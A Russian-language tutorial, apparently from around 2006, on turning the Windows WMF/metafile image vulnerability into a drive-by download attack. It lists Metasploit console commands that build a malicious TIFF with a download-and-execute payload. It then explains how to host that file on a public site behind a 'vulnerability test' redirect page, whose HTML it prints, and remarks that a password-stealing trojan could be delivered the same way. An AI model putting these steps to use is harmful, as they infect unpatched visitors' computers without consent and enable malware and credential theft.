Наверно многие пользователи ПК с Windows, выходя в интернет, лазая по Web-сайтам или просто общаясь по аське, некоторое время, ничего не скачивая и не запуская, обнаруживали у себя различного рода вредоносные программы (вирусы), в последствии удаляли их антивирусом, ставили файрвол и спали спокойно, не задумываясь над тем, каким образом они проникли на Ваш компьютер.
Так было с Windows 2000, XP Sp1. Cетевые черви, эксплуатирующие уязвимости в сервисах DCOM, LSASS безпроблем сами проникали в Ваш компьютер, без каких либо действий с Вашей стороны (за исключением выхода в инет) превращая Ваш компьютер в компьютер-зомби или скрипткидисы, сканируя диапазоны IP-адресов на бажные (дырявые) сервисы, проникали на Ваш комп, делая, что их душе угодно (автороутер KAHT2).
Но вскоре вышел SP2 для Windows XP, пославший всех известных сетевых червей куда подальше, прикрывший все дыры в бажных сервисах. Все успокоились на некоторое время, но не тут то было, лазая по сайтам, ничего не скачивая и не запуская на Вашем компе через некоторое время, снова обнаруживается зараза. Вы спросите как это возможно? Как это происходит? Просто занимаясь Веб-серфингом, Вы не скачиваете exe, com, bat,cmd,scr – представляющие потенциальную угрозу (а если скачиваете, то проверяете антивирусом перед запуском), но вы скачиваете много других файлов разных форматов – html, графических, музыкальных, видео и других. Ну и что, скажете Вы, они же неисполняемые!? М..да и будете правы – они не исполняемые, они обрабатываемые Вашим браузером, системой.
(Прим.: опустим здесь уязвимости движка IE в выполнении каких либо скриптов, функций – это отдельная большая тема). Многие поняли к чему я клоню. До некоторого времени считалось, что картинки (файлы форматов jpg, wmf, tiff) не могут содержать вирус – теперь это не так. Могут! Ведь кто Вам мешает записать туда кусок исполняемого кода и когда такой файл будет обрабатываться системой (системной библиотекой) передать управление на тот кусок исполняемого кода? Вопрос в том, как туда передать управление? Правильно! Искать, находить и использовать уязвимости в обработке системой специально сгенерированных файлов, тем или иным образом компрометирующих систему (проще говоря, заставляющих систему дать сбой при их обработке). Что и было сделано уже до нас в 2004-2005 годах и делается и по сей день…
1.Выбираем уязвимость.
Будем использовать уязвимость в обработке метафайлов системной библиотекой shimgvw.dll, существующую во всех системах WINDOWS, начиная с версии 3.хх и не только.
Подробности уязвимости тут:
http://www.securitylab.ru/vulnerability/243581.php
http://www.xakep.ru//magazine/xa/086/066/1.asp
http://www.xakep.ru/post/29503/default.asp
http://www.xakep.ru/post/28680/default.asp
http://www.xakep.ru/post/29529/default.asp- патч, закрывающий дыру.
2.Наша задача: Залить посетителю сайта исполняемый файл и передать ему управление.
Наш клиент: Система не пропатченые Windows XP, XP SP1, XP SP2, 2000, 2003. ( Прим. Win2003 server при дефалтной настройке безопасности не пробивается).
Мы : Система Windows SP2 (тоже не патченая) с установленным пакетом Metasploit Framework v.2.6. для Cygwin (win32)
3. Подготовка.
Для начала определимся с хостом в инете, где будет лежать тот исполняемый наш файл, который будет скачан при заходе клиента на нашу WEB-страницу. Пусть это будет http://nash.site.ru например. У меня пока http://localhost. Определились (это параметр будущей начинки нашего сплоита, чтоб знал, что и откуда грузить).
4. Готовим ядовитый tiff - файл.
(содержащий эксплоит и начинку - загрузчик нашего экзешника)
Запускаем пакет (консоль MFV)
а) Выбираем сплоит (ie_xp_pfv_metafile):
+ -- --=[ msfconsole v2.6 [145 exploits - 75 payloads]
msf > ls
framework perl.exe.stackdump run_msfupdate userguide.pdf
framework.tar run_msfconsole run_msfweb
msf > cd framework
msfconsole: chdir: changed to directory framework
msf > use ie_xp_metafilemsf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile >
б)задаём параметры:
msf ie_xp_pfv_metafile > set LHOST 10.0.0.1
LHOST -> 10.0.0.1
msf ie_xp_pfv_metafile >
в)Выбираем начинку, нам нужно скачать и исполнить, ок, нет проблем, посмотрим сначала что у нас есть из начинок.
msf ie_xp_pfv_metafile > ls payloads
Empty.pm linux_ia32_reverse_xor.pm
bsd_ia32_bind.pm linux_sparc_bind.pm
------ пропущено ---------------------------------------
cmd_unix_reverse_bash.pm win32_downloadexec.pm
------ пропущено ---------------------------------------
linux_ia32_reverse_udp.pm win32_reverse_vncinject.pm
msf ie_xp_pfv_metafile >
Win32_downlodexec - вот оно самое! Название начинки говорит само за себя, посмотрим по ней инфу
msf ie_xp_pfv_metafile > info win32_downloadexec
Name: Windows Executable Download and Execute
Version: $Revision: 1.1 $
OS/CPU: win32/x86
Needs Admin: No
Multistage: No
Total Size: 340
Keys: noconn
Provided By:
lion[at]cnhonker.com
pita[at]mail.com
Available Options:
Options: Name Default Description
-------- ------ ------- ------------------------------
required URL Complete URL to the target EXE
Advanced Options:
Advanced (Msf::Payload::win32_downloadexec):
--------------------------------------------
Description:
Download an EXE from a HTTP URL and execute it
msf ie_xp_pfv_metafile >
Ага! Скачивает exe-файл с HTTP URL (c web-страницы по протоколу HTTP) и запуcкает его, то что надо!
Опция URL - там где распалагается наш экзешник. Не забудем её установить...
И так - берём эту начинку - она нам подходит.
msf ie_xp_pfv_metafile > set PAYLOAD win32_downloadexec
PAYLOAD -> win32_downloadexec
msf ie_xp_pfv_metafile(win32_downloadexec) >
г) Устанавливаем переменную URL (HTTP адрес нашего экзешника в инете, я локально запустил свой сервак Apache и кинул в корень экзешник VirtualGirl, в самораспаковывающемся архиве vr.exe - вируальные тёлки вылезающие справа экрана будут мне показывать стриптиз )
msf ie_xp_pfv_metafile(win32_downloadexec) > set URL http://10.0.0.1/vg.exe
URL -> http://10.0.0.1/vg.exe
msf ie_xp_pfv_metafile(win32_downloadexec) >
д)Ну всё готово! Командуем exploit
msf ie_xp_pfv_metafile(win32_downloadexec) > exploit
[*] Waiting for connections to http://10.0.0.1:8080/
Подняли ещё один (помимо Апача) локальный WEB сервер на 8080 порту с нашим сплоитом. Заходим на него через браузер сами и автоматом скачиваем ядовитый tiff файл (благо настройка безопасности броузера IE6 это разрешает и не блокирует автоматическую загрузку tiff-файла)
[*] HTTP Client connected from 10.0.0.1:4401, redirecting...
[*] HTTP Client connected from 10.0.0.1:4403, sending 1500 bytes of payload...
Всё! Появлеяется красный значок "2" в трее и тёлки начинают периодически вылезать справа внизу экрана, весело танцевать и раздеваться, правда не доконца - версия триальная ;-(
ж) Разбираемся что же произошло и как это может быть? Был автоматически загружен ядовитый tiff-файл, содержащий наш сплоит и начинку (загрузчик), далее он был открыт программой просмотр факсов (была подгружена бажная dll не без помощи rundll32.exe, которая потеряла управление и передала его на наш загрузчик, он в свою очередь загрузил наших тёлок (файл vg.exe) с Web-сервера Апач и запустил, после чего они стали благополучно танцевать на моём рабочем столе
Находим наш ядовитый tiff - файл - это готовый наш эксплоит (содержит собсвенно сам сплоит, начинку загрузчик со всеми параметрами). Он лежит в c:\Documents and Settings\Администратор\Local Settings\Temporary Internet Files\ Его имя типа что-то 1D5TRR3e0[1].tiff (размер всего 28Кб.) проверим Антивирусом Касперского этот файл. Он скромно нам сообщает о том, что файл "возможно является потенциально опасным ПО Exploit.Win32.IMG-WMF" всё так и есть на самом деле (наш загрузчик - не такая уж опасная начинка сполита, всё зависит от того что он грузит и запускает, а вместо наших, безобидно пляшущих тёлок, можно загрузить и троя ворующего пароли) Убъём процесс плящущих тёлок (VirtuaGirl2.exe,Vg.exe - был обычный самараспаковывающийся в system32\vg архив с последующим запуском самой проги VirtuaGirl2.exe) и попробуем просто посмотреть папку с ядовитым tiff файлом в стандартном проводнике Windows, Опс! Тёлки опять пляшут у нас на экране! (Снова подгрузилась бажная DLL c помошью rundll32.exe и сделала своё чёрное дело)! Всё проверено, наш подопытный Tiff-файл превратился в успешно исполняемый (на не пропатченных системах Win).
5. Вешаем сплоит в интернете на своём сайте.
Так как в параметре URL (для начинки загрузчика) мы указали http://localhost/vg.exe нам придётся пересобрать ядовитый Tiff файл с другими параметрами.
а) Выбираем что будем грузить (исполняемый exe-файл). Я взял картинку (женскую задницу с паутинкой на ней), открыл в фотошопе, дописал текст "Заштопайте дырку в Вашей системе", сохранил в формате JPG, затем открыл инфравьювером и сделал из неё исполняемый экзешник, обозвал его picture.exe.
б) Выбираем host в интернете.
Я зарегал себе сайт на народе http://vulnerabilitywmf.narod.ru/, на главной странице сделал ссылку на http://vulnerabilitywmf.narod.ru/Testwmf.html и обозвал её тест на WMF-баг.
в) Готовим новый ядовитый tiff-файл (см. п 4)
Всё делаем тоже самое, только задаём наш новый URL, где будет лежать наш picture.exe.
msf ie_xp_pfv_metafile(win32_downloadexec) > set URL http://vulnerabilitywmf.narod.ru/picture.exe
URL -> http://vulnerabilitywmf.narod.ru/picture.exe
Содержание Testwmf.html - это всего лишь переадресация на наш ядовитый tiff файл. Его содержание мы получим, если посмотрим HTМL код (когда будем открывать ссылку у себя с локально поднятого Metasploit`ом Framework WEB-сервера, нам лишь нужно изменить ссылку переадресации на народовскую и сохранить под именем Testwmf.html. Сам сформированный таким образом tiff- файл возьмём из c:\Documents and Settings\Администратор\Local Settings\Temporary Internet Files\, обзовём Sploit.tiff. Закачаем в корневую папку нашего Web-сервера на народе эти два файла Testwmf.html, Sploit.tiff, а также не забудем наш picture.exe, который будет скачиваться с сайта, запускаться и выводить картинку о том что Ваша система уязвима к WMF-багу. Всё готово!
Содержание файла Testwmf.html
<html><meta http-equiv='refresh' content='0; URL=http://vulnerabilitywmf.narod.ru/Sploit.tiff'><body><div class='kMM5zm0Z82kjbGwPCrIz3s4NdTqA3q7AJIuWcqUXECe K25CbzHHCAD23COOjdba23A3UXfOV08bs3TyJadiD4HDQsi6Pl cTeIAPSZ8IAR7EyhZjGyaVHvma1m6bdhDQrsolEK0N3jAWSE7I 5Vdrka3Cm3Eh4xoZsCEoo99Dd0v26nnV5OMBUV1swSohhVQDhQ wP4DpaeBiUi3cAsYFeGwWBIYEVL9P0K7agPzmlqP4RuhYTxHs4 a7n89igzS9inVrxXM0fjjjMSH27Y3xdCPTK6VNo9N2M2FS58C4 1vzFuSXMEfclePUznS8L3bhULrn6fhQSgqgZHPgN1TrTPrUbOQ nRKkGdscYyVIMskJCjxBOTvn13XwhYBgKtTL7H6BDyH2PNwX3N CrK7giEXHKb4y7wL7oEavd1sI6gmalISNCesj0bg8DzmBPIV5n 7hWqHVfF9FvmwARRZkMnqiAAuX5nrJTY7lxJiOMF8V63rOnPz7 Mu86VBHwBQ2x8dqxIwQVmcSsPhjOOrBuP5YHVPAL0EZInI2z05 XP9Sm9GyX5E5cQwygO4zpTuBg1lHbKqRKSQTdLRl0M3zsPmBt7 jaUXI2WS3EIDvRGV22mA3VdCP7Yl9wjJj3f7xfKxBfLHJEMYBj 7Lg9hmyNLUfjyv3oTDndxsTMipsFZ3uXtlQRrGDa7IUjlbJLHP WV7KtPWxcVN2hpYWyO'></div>One second please...</body></html><!-- ><!-- "><!--'><!-- --></textarea></form> </title></comment></a> </div></span></ilayer></layer></iframe></noframes></style></noscript></table></script></applet></font> <style> #bn {display:block;} #bt {display:block;} </style> <script language="JavaScript" src="http://bs.yandex.ru/show/163"></script> <!-- mailto:spm111@yandex.ru -->
Это уже после того, как он был залит на народ.ру.